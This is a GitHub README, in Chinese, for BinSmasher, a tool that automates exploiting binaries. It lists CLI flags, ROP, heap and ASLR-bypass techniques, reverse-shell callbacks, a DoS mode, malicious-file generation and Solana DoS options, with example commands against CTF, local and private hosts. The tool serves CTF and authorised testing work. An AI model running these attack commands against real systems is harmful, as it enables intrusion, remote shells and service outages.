VABISMO/binsmasher

GitHub: VABISMO/binsmasher

跨平台自动化二进制漏洞审计与 RCE 利用生成框架,支持从漏洞探测到利用投递和脚本输出的完整攻击链闭环。

Stars: 3 | Forks: 0

# BinSmasher 🔨 **终极跨平台二进制漏洞利用框架** image ## 目录 1. [概述](#overview) 2. [安装](#installation) 3. [架构](#architecture) 4. [子命令](#subcommands) 5. [binary — 完整参考](#binary--full-reference) - [基本选项](#basic-options) - [网络选项](#network-options) - [Payload 选项](#payload-options) - [自定义 Payload 模式 (UDP+Spawn)](#custom-payload-mode-udpspawn) - [模糊测试选项](#fuzzing-options) - [高级漏洞利用选项](#advanced-exploit-options) - [全新漏洞利用技术](#new-exploit-techniques) - [DOS / 脚本生成](#dos--script-generation) - [输出选项](#output-options) 6. [漏洞利用技术 — TCP 模式](#exploit-techniques--tcp-mode) 7. [漏洞利用技术 — UDP+Spawn 模式](#exploit-techniques--udpspawn-mode) 8. [自定义 Payload 模式 — 深入探讨](#custom-payload-mode--deep-dive) 9. [file — 恶意文件生成](#file--malicious-file-generation) 10. [solana — Agave / Solana SVM 审计](#solana--agave--solana-svm-auditing) 11. [使用示例](#usage-examples) 12. [技术决策树](#technique-decision-tree) 13. [已知限制](#known-limitations) 14. [依赖项](#dependencies) ## 概述 BinSmasher 自动化了原生二进制文件的完整漏洞利用生命周期: 1. **漏洞检测** — 探测服务以自动确定漏洞类别 2. **静态分析** — 发现危险函数、保护机制、gadgets、libc 偏移量 3. **偏移量检测** — 循环 pattern + corefile / GDB / 远程崩溃二分法 4. **策略选择** — 自动选择最佳漏洞利用技术(20+ 种策略) 5. **漏洞利用投递** — 发送 payload,验证 RCE,切入交互式 shell 6. **模板生成** — 编写完整且可直接运行的 `solve_BINARY.py` 它支持处理 **TCP 服务**、**UDP 崩溃即停止服务**(spawn-target 模式)以及 **32/64 位** ELF 二进制文件。 ## 安装 ``` # 系统依赖 sudo apt-get install -y python3 python3-pip gdb radare2 \ pwndbg one_gadget binutils file socat checksec # Python 依赖 pip install pwntools capstone keystone-engine \ frida-tools ropper boofuzz rich # 可选:AFL++ 覆盖率 fuzzing sudo apt-get install -y afl++ # 可选:angr 符号执行(体积大但功能强大) pip install angr # Clone 或解压 release git clone https://github.com/your-org/binsmasher cd binsmasher # 直接运行(无需安装) python3 src/main.py --help # 或安装为全局命令 pip install -e . binsmasher --help ``` ### Docker(推荐用于可复现环境) ``` docker build -t binsmasher . docker run --rm -it --network host --cap-add SYS_PTRACE \ -v $(pwd):/workspace binsmasher binary -b /workspace/vuln \ --host 127.0.0.1 --port 4444 -t ``` ## 架构 ``` binsmasher/ ├── src/ │ ├── main.py # Entry point & CLI (600+ lines) │ ├── binsmasher_main.py # Pip console-script shim │ │ │ ├── utils/ # Core utilities │ │ ├── config.py # ExploitConfig dataclass │ │ ├── display.py # Rich summary table │ │ ├── logging_setup.py # Dual-sink logging (rich + file) │ │ ├── _process.py # Core-dump suppression, temp dirs │ │ ├── adaptive_timeout.py # RTT-based adaptive timeouts ★ NEW │ │ └── json_output.py # JSON/Markdown structured output ★ NEW │ │ │ ├── analyzer/ # Binary analysis │ │ ├── static.py # r2 static analysis (cached) │ │ ├── protections.py # NX/PIE/ASLR/canary/RELRO (cached) │ │ ├── dynamic.py # Frida instrumentation │ │ ├── library.py # libc offset loading, libc.rip queries │ │ ├── seccomp.py # seccomp-tools BPF detection │ │ ├── recovery.py # Stripped binary recovery, angr │ │ ├── cache.py # SHA256 analysis cache (~/.binsmasher_cache/) ★ NEW │ │ ├── angr_analysis.py # angr symbolic path exploration ★ NEW │ │ ├── vuln_detect.py # Automatic vuln type detection ★ NEW │ │ └── libc_db.py # Local libc database (9 libcs, no internet) ★ NEW │ │ │ ├── exploiter/ # Exploit engine │ │ ├── connection.py # TCP/UDP connection management │ │ ├── offset.py # Cyclic + corefile + GDB offset detection │ │ ├── rop_chains.py # ret2win, ret2libc, SROP, ORW, ret2dlresolve │ │ ├── heap.py # Basic heap: UAF, fastbin, tcache (basic) │ │ ├── heap_advanced.py # Advanced heap: tcache poison, House of Apple2, │ │ │ # __malloc_hook, __free_hook, DynELF ★ NEW │ │ ├── gadgets.py # ROPgadget/ropper integration, one_gadget │ │ ├── shellcode.py # Shellcode + XOR encoding │ │ ├── format_string.py # fmtstr_payload, GOT overwrite │ │ ├── windows.py # SafeSEH, CFG, CFI bypass │ │ ├── scripts.py # Crash/exploit script generation │ │ ├── orchestrator.py # create_exploit: master TCP strategy selector │ │ ├── multistage.py # Two-stage TCP (leak → ret2system) ★ NEW │ │ ├── interactive.py # Interactive shell + solve template ★ NEW │ │ ├── brute_aslr.py # ASLR brute (PIE/libc/partial) ★ NEW │ │ ├── i386.py # Correct 32-bit ROP chains ★ NEW │ │ ├── udp_strategies.py # UDP+spawn exploit engine (A–F) │ │ └── helpers.py # Address/process utilities │ │ │ ├── fuzzer/ # Fuzzing engine │ │ ├── afl.py # AFL++ coverage fuzzing │ │ ├── boofuzz_fuzz.py # boofuzz network fuzzing │ │ ├── mutation.py # Built-in mutation fuzzer │ │ ├── udp.py # UDP offset detection (bisect + corefile) │ │ ├── core_analysis.py # Core dump analysis, GDB crash analysis │ │ ├── gdb_scripts.py # GDB script generation (pwndbg/peda/vanilla) │ │ ├── offset_roto.py # ROTO heuristic, SIGFAULT analysis │ │ └── solana.py # Solana/Agave SVM fuzzing │ │ │ └── file_exploiter/ # Malicious file builders (25+ formats) │ ├── audio.py # MP3, WAV, FLAC, OGG, AAC │ ├── documents.py # PDF, DOC, DOCX, XLS, XLSX, RTF │ ├── web.py # TXT, CSV, JSON, XML, HTML, SVG │ ├── images.py # BMP, PNG, GIF, JPEG │ ├── scripts_fmt.py # PY, JS, PHP, LUA, RB │ └── archives.py # ZIP, TAR, ELF │ ├── tests/ │ ├── test_suite.py # Integration test runner │ ├── bins/ # Compiled test binaries (make) │ └── src/ # 13 C test sources + Makefile │ ├── Dockerfile # Reproducible environment ★ NEW ├── docker-compose.yml # Docker Compose ★ NEW ├── setup.py └── pyproject.toml ``` ## 子命令 ``` # 直接运行 python3 src/main.py binary [options] python3 src/main.py file [options] python3 src/main.py solana [options] # 已安装命令 binsmasher binary [options] binsmasher file [options] binsmasher solana [options] ``` ## binary — 完整参考 ### 基本选项 | 标志 | 默认值 | 描述 | |---|---|---| | `-b`, `--binary` | 必填 | 目标二进制文件路径 | | `-c`, `--cmd` | `id` | 用于 shellcode 的命令 | | `-p`, `--pattern-size` | `200` | 初始循环 pattern 大小 | | `-r`, `--return-addr` | auto | 十六进制返回地址(跳过自动检测) | | `--return-offset` | `80` | 从栈地址到返回地址的字节数 | | `-t`, `--test-exploit` | off | 发射 payload 并验证 RCE | | `-l`, `--log-file` | /tmp 下自动生成 | 日志文件路径(DEBUG 级别) | ### 网络选项 | 标志 | 默认值 | 描述 | |---|---|---| | `--host` | `localhost` | 目标主机 | | `--port` | `4444` | 目标端口 | | `--tls` | off | 使用 TLS/SSL | | `--output-ip` | `127.0.0.1` | 用于回调/反向 shell 的监听器 IP | | `--output-port` | `6666` | 用于回调/反向 shell 的监听器端口 | ### Payload 选项 | 标志 | 默认值 | 描述 | |---|---|---| | `--reverse-shell` | off | 反向 shell payload | | `--file-input` | — | 将 shellcode 嵌入 `mp3` 或 `raw` 文件 | | `--binary-args` | `""` | 传递给派生二进制文件的参数 | | `--payload-data` | — | 自定义 payload 模板(`{PAYLOAD}` 占位符) | | `--udp` | off | 通过 UDP 发送 `--payload-data` | | `--spawn-target` | off | 在本地派生二进制文件以进行崩溃检测 | | `--bad-bytes` | `""` | 漏洞利用地址中要避免的十六进制字节(例如 `0a0d`) | ### 自定义 Payload 模式 (UDP+Spawn) 当设置 **全部三个** 选项时启用:`--payload-data` + `--udp` + `--spawn-target`。 ### 模糊测试选项 | 标志 | 默认值 | 描述 | |---|---|---| | `--fuzz` | off | boofuzz 网络模糊器 | | `--mutation-fuzz` | off | 内置变异模糊器 | | `--afl-fuzz` | off | AFL++ 覆盖率模糊测试 | | `--afl-timeout` | `60` | AFL++ 运行时间(秒) | | `--frida` | off | Frida 动态插桩 | | `--protocol` | `raw` | boofuzz 的协议提示 | ### 高级漏洞利用选项 | 标志 | 默认值 | 描述 | |---|---|---| | `--heap-exploit` | off | 基础堆漏洞利用(UAF、fastbin、tcache 基础) | | `--safeseh-bypass` | off | SafeSEH 绕过(Windows) | | `--privilege-escalation` | off | 漏洞利用后提权 | | `--cfi-bypass` | off | 通过有效目标 pivot 绕过 CFI | | `--stack-pivot` | off | 通过 `leave; ret` 进行栈 pivot | | `--largebin-attack` | off | Largebin 攻击(glibc ≥ 2.28) | | `--gdb-mode` | `pwndbg` | GDB 脚本风格:`pwndbg`、`peda`、`vanilla` | | `--srop` | off | 强制 SROP 链 | | `--orw` | off | 强制 ORW 链(seccomp 绕过) | | `--flag-path` | `/flag` | ORW 链的 flag 路径 | ### 全新漏洞利用技术 | 标志 | 默认值 | 描述 | |---|---|---| | `--detect-vuln` | off | **自动检测漏洞类型**(STACK_OVERFLOW、FORMAT_STRING、HEAP_OVERFLOW、UAF、INTEGER_OVERFLOW)在利用前执行 | | `--multistage` | off | **两阶段 TCP 漏洞利用**:泄露 GOT 地址 → 计算 libc 基址 → ret2system | | `--brute-aslr` | off | **无泄露暴力破解 ASLR**(PIE 基址、libc 基址或 12 位部分覆写) | | `--brute-attempts` | `256` | 最大暴力破解尝试次数 | | `--heap-advanced` | off | **高级堆利用技术**:绕过 safe-linking 的 tcache poisoning、House of Apple2、`__malloc_hook`/`__free_hook`、DynELF | | `--interactive` | off | 漏洞利用成功后**切入交互式 shell**(`io.interactive()`) | | `--template` | off | **生成 `solve_BINARY.py`** — 包含所有检测到的信息并预填充的完整 pwntools 脚本 | | `--angr` | off | **angr 符号执行**,以查找到达 win() 的路径并提取具体输入 | | `--adaptive-timeout` | off | **根据测量的到目标的 RTT 自动缩放所有超时**(适用于高延迟 CTF 服务器) | | `--clear-cache` | off | 清除此二进制文件的分析缓存 | | `--no-cache` | off | 在此次运行中禁用分析缓存 | ### DOS / 脚本生成 | 标志 | 描述 | |---|---| | `--dos` | 查找偏移量,使目标崩溃,生成崩溃 + 漏洞利用脚本 | | `--generate-scripts` | 始终写入 `crash_BINARY.py` 和 `exploit_BINARY.py` | ### 输出选项 | 标志 | 描述 | |---|---| | `--print-json` | 将完整结果以 JSON 打印到标准输出(CI/CD 集成) | | `--output-json PATH` | 将 JSON 结果写入文件 | | `--output-markdown` | 将 Markdown 报告写入 `_bs_work/report_BINARY.md` | ## 漏洞利用技术 — TCP 模式 | # | 技术 | 触发条件 | 备注 | |---|---|---|---| | 0 | **ret2win** | 找到 Win/flag/shell 符号 | 最快 — 无需泄露 | | 1 | **两阶段 ret2libc** | `--multistage` 或 ASLR+NX | 泄露 GOT → libc.rip/local DB → system() | | 2 | **通过 PLT 泄露 Libc** | ASLR 开启,PLT 中存在 puts/printf | `puts(got[sym])` → 计算 libc 基址 | | 3 | **ret2csu 泄露** | 无 pop rdi gadget | 使用 `__libc_csu_init` 设置参数 | | 4 | **write-syscall 泄露** | 无 PLT 泄露函数 | 通过 syscall 链执行 `write(1, got, 8)` | | 5 | **Canary 泄露/爆破** | `canary_enabled` | 格式化字符串或逐字节爆破 | | 6 | **PIE 泄露** | PIE 开启 | 格式化字符串 `%p` 扫描 | | 7 | **ret2system ROP** | NX 开启,libc 已知 | `pop rdi` + `/bin/sh` + `system()` | | 8 | **ret2csu** | 无 pop rdi | 用于控制 rdi/rsi/rdx 的 CSU gadgets | | 9 | **SROP** | `--srop` | Sigreturn 帧 → `execve("/bin/sh")` | | 10 | **ORW** | `--orw` 或 seccomp | `open("/flag") + read() + write()` | | 11 | **格式化字符串** | 检测到 Printf,部分 RELRO | 通过 `%n` 覆写 GOT | | 12 | **Shellcode** | NX 关闭 | 栈上的 NOP sled + shellcode | | 13 | **静态 ret2libc** | NX 开启,无 ASLR | 使用已知 libc 地址进行 ROP | | 14 | **ret2dlresolve** | 无 libc 泄露 | 通过 `.dynamic` 节进行解析 | | 15 | **tcache poisoning** | `--heap-advanced`,glibc 2.31+ | 绕过 safe-linking 的任意分配 | | 16 | **House of Apple2** | `--heap-advanced`,glibc 2.34+ | `_IO_FILE` 漏洞利用,无需 hooks | | 17 | **malloc/free hook** | `--heap-advanced`,glibc < 2.34 | 覆写 `__malloc_hook`/`__free_hook` | | 18 | **DynELF** | `--heap-advanced` | 针对 libc 符号的二分查找 | | 19 | **爆破 PIE 基址** | `--brute-aslr`,存在 win() | PIE 滑动有 512 个候选值 | | 20 | **爆破 libc 基址** | `--brute-aslr`,one_gadget | 猜测 libc 基址偏移 | | 21 | **部分覆写** | `--brute-aslr` | 12 位固定页偏移,16 次尝试 | | 22 | **i386 ret2libc** | 32 位二进制 | 栈参数:`[system][ret][binsh]` | | 23 | **i386 execve syscall** | 32 位,`int 0x80` | `eax=11, ebx=binsh, int 0x80` | | 24 | **i386 SROP** | 32 位,`SYS_sigreturn=119` | 针对 i386 的 Sigreturn | | 25 | **one_gadget** | 已安装 one_gadget |c magic gadget | | 26 | **CFI 绕过** | `--cfi-bypass` | 有效目标 pivot | | 27 | **SafeSEH 绕过** | `--safeseh-bypass`,Windows | SEH 覆写 | | 28 | **Stack pivot** | `--stack-pivot` | `leave; ret` RSP 重定向 | | 29 | **Largebin attack** | `--largebin-attack`,glibc ≥ 2.28 | `bk_nextsize` 破坏 | ## 漏洞利用技术 — UDP+Spawn 模式 | 策略 | 名称 | 适用条件 | |---|---|---| | A | **ret2system ROP** | `ret_addr_offset + 24 < min_crash`,存在 pop rdi | | A* | **ret2csu 备选** | 条件同上但使用 `__libc_csu_init` | | B | **SROP** | 存在 `syscall;ret` + `pop rax;ret`,帧大小合适 | | C | **GOT 覆写** | 指针覆写崩溃类型 | | D | **ret2win** | 找到 Win 符号,`ret_addr_offset + 8 < min_crash` | | E | **one_gadget** | 已安装 `one_gadget`,无 bad bytes,大小合适 | | F | **ORW** | 带有 `--orw` 标志,seccomp 阻止了 execve | ## 自定义 Payload 模式 — 深入探讨 ### 工作原理 ``` 1. BISECT: find min_crash_sz — binary search over [8…4096] bytes 2. COREDUMP: inject cyclic(min_crash_sz), collect core → extract RIP 3. STACK SCAN: scan all mappings for cyclic bytes → exact ret addr offset 4. BASES: PIE base + libc base from /proc/PID/maps 5. EXPLOIT: try strategies A→F, spawn fresh binary per attempt for ASLR ``` ### Payload 模板格式 使用 `{PAYLOAD}` 作为注入占位符。`Content-Length:` 将被自动重新计算。 **SIP/ICE INVITE:** ``` INVITE sip:target@127.0.0.1 SIP/2.0 ... a=ice-ufrag:{PAYLOAD} ``` **HTTP POST:** ``` POST /upload HTTP/1.1 Content-Length: {CONTENT_LENGTH} {PAYLOAD} ``` ### 坏字节 (Bad Bytes) | 协议 | `--bad-bytes` | 原因 | |---|---|---| | 原始 TCP/UDP | *(空)* | 无限制 | | SIP / SDP | `0a0d` | `\r\n` 会终止 SDP 行 | | HTTP 头 | `0a0d` | `\r\n` 会终止头 | | 空字节终止字符串 | `00` | `\0` 会终止 strcpy/gets | ## file — 恶意文件生成 ``` python3 src/main.py file --format mp3 --offset 256 --technique overflow -o ./payloads/ python3 src/main.py file --all-formats --offset 512 -o ./payloads/ ``` | 类别 | 格式 | |---|---| | 音频 | `mp3`, `wav`, `flac`, `ogg`, `aac` | | 文档 | `pdf`, `doc`, `docx`, `xls`, `xlsx`, `rtf`, `txt`, `csv` | | 数据 | `json`, `xml`, `html`, `svg` | | 图像 | `bmp`, `png`, `gif`, `jpeg` | | 代码 | `py`, `js`, `php`, `lua`, `rb` | | 归档 | `zip`, `tar` | | 二进制 | `elf`, `raw` | ## solana — Agave / Solana SVM 审计 ``` python3 src/main.py solana --rpc http://localhost:8899 \ --source-path ./agave/src --exploit-type svm-bpf ``` | `--exploit-type` | 描述 | |---|---| | `svm-bpf` | BPF 验证器绕过 | | `deser` | 账户反序列化漏洞 | | `dos-quic` | QUIC 连接 DoS | | `snapshot-assert` | 快照 assert panic | ## 使用示例 ### CTF — 快速 ret2win ``` binsmasher binary -b ./pwn1 --host 127.0.0.1 --port 1337 -t ``` ### CTF — 首先自动检测漏洞类型 ``` binsmasher binary -b ./unknown --host ctf.example.com --port 4444 \ --detect-vuln -t # Probes the service → tells you STACK_OVERFLOW / FORMAT_STRING / HEAP_OVERFLOW # 然后自动运行匹配的 exploit ``` ### CTF — ASLR + NX + PIE(全保护)— 两阶段泄露 ``` binsmasher binary -b ./hard_pwn \ --host 127.0.0.1 --port 9001 \ --multistage \ --output-ip 10.0.0.1 --output-port 4444 \ -t --interactive # Stage 1: leaks puts@GOT → queries libc.rip/local DB # Stage 2: ret2system("/bin/sh") → drops to interactive shell ``` ### CTF — 无泄露的 ASLR,爆破 PIE ``` binsmasher binary -b ./pie_binary \ --host ctf.io --port 4444 \ --brute-aslr --brute-attempts 512 \ -t ``` ### CTF — 堆题(glibc 2.35,无 hooks) ``` binsmasher binary -b ./heap_chal \ --host 127.0.0.1 --port 7777 \ --heap-advanced -t # Auto-selects: House of Apple2 for glibc 2.34+ # tcache poisoning + __malloc_hook for < 2.34 ``` ### CTF — 强制 SROP ``` binsmasher binary -b ./no_gadgets --host 127.0.0.1 --port 3333 --srop -t ``` ### CTF — ORW / Seccomp 绕过 ``` binsmasher binary -b ./sandboxed \ --host 127.0.0.1 --port 8888 \ --orw --flag-path /home/ctf/flag.txt -t ``` ### CTF — 生成解题模板 ``` binsmasher binary -b ./pwn1 --host 127.0.0.1 --port 1337 \ --template --generate-scripts # → tests/bins/_bs_work/solve_pwn1.py (完整、可运行) # → tests/bins/_bs_work/crash_pwn1.py # → tests/bins/_bs_work/exploit_pwn1.py ``` ### CTF — 具有高延迟的远程服务器 (VPN) ``` binsmasher binary -b ./challenge \ --host ctf.example.com --port 1337 \ --adaptive-timeout \ --multistage -t # 测量 RTT → 自动调整 connect/recv/exploit 超时 ``` ### CTF — 将 angr 用于复杂二进制文件 ``` binsmasher binary -b ./obfuscated --host 127.0.0.1 --port 4444 \ --angr -t # 符号化探索通往 win()/flag()/shell() 的路径 # 提取具体的 input 和 offset 提示 ``` ### 渗透测试 — SIP/UDP 服务 ``` cat > invite.txt << 'EOF' INVITE sip:target@127.0.0.1 SIP/2.0 Via: SIP/2.0/UDP 127.0.0.1:5061;branch=z9hG4bKtest From: ;tag=1234 To: Call-ID: test@127.0.0.1 CSeq: 1 INVITE Content-Type: application/sdp Content-Length: {CONTENT_LENGTH} v=0 o=- 0 0 IN IP4 127.0.0.1 s=- c=IN IP4 127.0.0.1 t=0 0 a=ice-ufrag:{PAYLOAD} a=ice-pwd:validpassword12345678901234 m=audio 5004 RTP/AVP 0 EOF binsmasher binary -b /path/to/sip_server \ --host 127.0.0.1 --port 5060 \ --udp --spawn-target \ --bad-bytes 0a0d \ --adaptive-timeout \ --payload-data "$(cat invite.txt)" ``` ### 渗透测试 — 用于报告的 JSON 输出 ``` binsmasher binary -b ./target \ --host 192.168.1.50 --port 8080 \ --detect-vuln --multistage -t \ --output-json /tmp/vuln_report.json \ --output-markdown ``` ### DOS 模式 + 脚本 ``` binsmasher binary -b ./target \ --host 192.168.1.50 --port 8080 \ --dos --generate-scripts # → crash_target.py (独立 crash PoC) # → exploit_target.py (独立 exploit) # → solve_target.py (完整 solve 模板) ``` ## 运行测试套件 ``` # 1. 编译测试 binaries cd tests/src && make && cd ../.. # 2. 快速本地测试(跳过缓慢的 CMD/REVSHELL) python tests/test_suite.py --local-only --skip-slow # 3. 包含 CMD 执行和 reverse shell 的完整本地测试 python tests/test_suite.py --local-only # 4. 包含 CTF binary 下载的完整套件 python tests/test_suite.py ``` ### 预期结果 | 二进制文件 | 预期 | 技术 | |---|---|---| | t1_stack_noprotect | ✅ PASS | ret2win — NX 关闭 | | t2_stack_nx | ✅ PASS | ret2win — NX 开启 | | t3_stack_canary | ✅ PASS | ret2win(检测到 canary) | | t4_fmtstr | ✅ PASS | 通过格式化字符串二进制执行 ret2win | | t5_heap | ✅ PASS | 通过堆二进制执行 ret2win | | t6_64bit_nx | ✅ PASS | ret2win — 64 位 NX | | t7_cfi_vtable | ✅ PASS | ret2win — vtable 二进制 | | t8_seccomp | ✅ PASS | ret2win — seccomp 二进制 | | t9_stripped | ⚠️ WARN | 无符号 — 符合预期 | | t10_safestack | ✅ PASS | ret2win | | t11_heap_glibc234 | ✅ PASS | ret2win — glibc 2.34+ | | t_shellexec | ✅ PASS | win() → system("id") 已确认 | | t_revshell | ✅ PASS | win() → 反向连接 shell | ## 技术决策树 ``` ┌─────────────────┐ │ --detect-vuln │ ← probe service first └────────┬────────┘ │ ┌──────────▼──────────┐ │ Vuln type? │ │ STACK / FMT / │ │ HEAP / UAF / INT │ └──────────┬──────────┘ │ STACK_OVERFLOW ┌──────────▼──────────┐ │ Win/flag symbol? │ └──────────┬──────────┘ YES ────┼──── NO │ │ ┌──────────▼────┐ │ │ ret2win │ │ └───────────────┘ │ ┌────────▼────────┐ │ NX enabled? │ └────────┬────────┘ NO ─────────┼───── YES │ │ ┌──────────▼────┐ ┌──────────▼──────────┐ │ Shellcode │ │ ASLR + leak? │ └───────────────┘ └──────────┬──────────┘ YES ────────┼──── NO (brute) │ │ ┌──────────▼──┐ ┌────────▼─────────┐ │ --multistage│ │ --brute-aslr │ │ two-stage │ │ PIE/libc/partial │ │ ret2system │ └──────────────────┘ └─────────────┘ ``` ## 已知限制 - **UDP+spawn**:仅支持单阶段。ret2plt+leak、DynELF、fmt-string 泄露需要接收通道 — 不支持。 - **复制崩溃约束**:如果 `ret_addr_offset + chain_len >= min_crash`,则该溢出字段无法被利用。请寻找具有更大间隙的不同字段。 - **Windows/macOS**:测试有限 — 主要针对 Linux/ELF。 - **内核漏洞利用**:不在范围内(无 `/dev/ptmx`、`userfaultfd`、spray)。 - **浏览器/JS**:不在范围内。 ## 依赖项 | 工具 | 必需 | 用途 | |---|---|---| | `python3` ≥ 3.9 | 是 | 运行时 | | `pwntools` | 是 | 漏洞利用原语、ROP、ELF、DynELF | | `radare2` | 是 | 静态分析,gadget 查找 | | `gdb` | 推荐 | 偏移量检测,corefile 分析 | | `socat` | 是(测试) | 测试套件的 TCP→stdin | | `one_gadget` | 推荐 | One-gadget libc magic gadgets | | `AFL++` | 可选 | 覆盖率模糊测试(`--afl-fuzz`) | | `frida` | 可选 | 动态插桩(`--frida`) | | `boofuzz` | 可选 | 网络模糊测试(`--fuzz`) | | `angr` | 可选 | 符号执行(`--angr`) | | `checksec` | 可选 | 更好的保护检测 | | `patchelf` | 可选 | 为本地 libc 进行二进制补丁 | ## CVE 扫描器 image **用于负责任披露的纯静态二进制漏洞扫描器。** ``` python3 cve_scan.py # Scan /usr/bin python3 cve_scan.py /usr/sbin /opt/binaries # Scan directories python3 cve_scan.py --single /tmp/vuln_binary # Single binary python3 cve_scan.py --single ./target --confidence CONFIRMED --verbose ``` 功能特性:25+ 种危险函数、污点分析、CVSS 评分、HTML/JSON/CVE 输出。 ## 贡献 欢迎贡献。请开启一个 issue 或提交 pull request。 可改进的领域: - 内核漏洞利用原语(`/dev/ptmx`、`userfaultfd`、`pipe_buf`) - CTF 平台集成(`pwn.college`、`HTB`、`pwnable.kr`) - 更多架构(ARM64、MIPS、RISC-V) - AI 驱动的分析 — BinSmasher Agent - Ghidra 无头模式集成 ## 捐赠 如果 BinSmasher 在您的研究或比赛中发挥了作用: **ETH** — `0xD773B73C7ea4862020b7B5B58f31Ea491f5a9bA3` **BTC** — `bc1ql6qvsk67hl5vz346kx4gueqjhp6me9ss8eflgt` **SOL** — `GYBiTvVbPvPJP7ZK5oaqc9w6UtHvd6NkhSPP2UBhDvfh` ## 作者 **AncientEncoder** **A. Canto** — InsecureWorld **V. Nos** — Cryptocalypse BinSmasher 团队
标签:CISA项目, CTF框架, DNS 反向解析, Exploit开发, Go语言工具, ROP链构造, Shellcode生成, Solana区块链审计, Web报告查看器, 二进制分析, 二进制审计, 二进制漏洞利用, 云安全监控, 云安全运维, 动态模糊测试, 底层安全, 恶意文件生成, 攻击脚本生成, 漏洞赏金工具, 红队武器, 缓冲区溢出, 网络安全, 自动化RCE生成, 请求拦截, 跨平台安全框架, 软件漏洞分析, 逆向工具, 隐私保护, 静态分析